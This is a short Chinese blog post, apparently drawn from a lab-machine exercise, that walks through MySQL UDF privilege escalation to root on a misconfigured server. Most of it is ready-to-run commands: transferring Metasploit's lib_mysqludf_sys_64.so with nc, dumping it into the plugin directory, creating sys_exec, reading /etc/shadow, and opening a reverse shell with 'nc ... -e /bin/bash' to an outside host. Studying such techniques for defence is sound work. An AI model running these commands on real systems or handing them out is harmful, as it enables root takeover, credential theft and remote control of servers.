不安全的数据库配置mysql_udf提权

目录

简述

udf提权前提

mysql_UDF提权

1.传输kali中动态连接文件

2.添加插件

3.添加函数

4.调用sys_exec


简述

此文章知识来自某靶机提权过程,通过mysql的权限配置不当 获取root的权限.现在把思路分享大家。

udf提权前提

一般情况下安装mysql数据库 系统都会为其配置账号(默认:mysql)

 那么运行mysql服务的进程也将是mysql这个账号运行起来的,

 如果你通过某种方式进入系统mysql服务 想要依此来提权抢夺mysql的权限 那么你最终将得到的是mysql账号账号权限,这个账号权限有限。

但如果安装权限配置不当 mysql是以root账号运行的() 而且secure_file_priv不限制目录 理论上你可以提权得到root账号的权限,

如果是以sudo运行起来的可以尝试\! bash 直接获取权限

mysql_UDF提权

在mysql服务里中不像其他编程服务那样 可以调用系统函数 依此反弹shell。

如果想实现这种系统函数调用 那么就要用到 udf(user definedf unction,用户定义函数),设计初衷是为了丰富数据库的功能,不过这也增加了提权可能。

我们可以使用现成的 已经定义好的UDF库文件,导入到mysql到指定目下 用plugin导入 创建系统函数。

如果是 MySQL >= 5.1 的版本(这个可以通过select version()查看),必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能导入自定义函数。

下面假设我们已经获取了一个低的权限 发现mysql是以root身份运行,想依此提到root权限,步骤如下

1.传输kali中动态连接文件

1.找到kali自带的UDF库

cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so .

2.使用nc进行传输

监听端口准备接收

cd /tmp

nc -lnvp 5555 > lib_mysqludf_sys_64.so

开始传输文件

nc 10.34.110.195 5555 < lib_mysqludf_sys_64.so -w 1

2.添加插件

select load_file('/tmp/lib_mysqludf_sys_64.so') into dumpfile '/usr/lib/mysql/plugin/utf.so';

注意使用load_file 需要某种权限的打开可使用一下命令查看

show global variables like '%secure_file_priv%';

value 说明 NULL 不允许导入或导出 /var/lib/mysql-files/ 只允许在这个目录导入导出(也是默认情况下) 空 不限制目录

3.添加函数

添加函数 只能名为sys_exec

create function sys_exec returns integer soname 'utf.so';

4.调用sys_exec

select sys_exec('id > /tmp/out.txt');

select load_file('/etc/shadow ') into dumpfile '/tmp/x';

注意:运行是成功的 但无返回结果 可以直接运行反弹root的权限

如用nc 反弹shell

select sys_exec('nc 10.34.x.x 6666 -e /bin/bash');

posted @ 2022-12-04 22:06  糖果闪闪发光  阅读(33)  评论(0)    收藏  举报  来源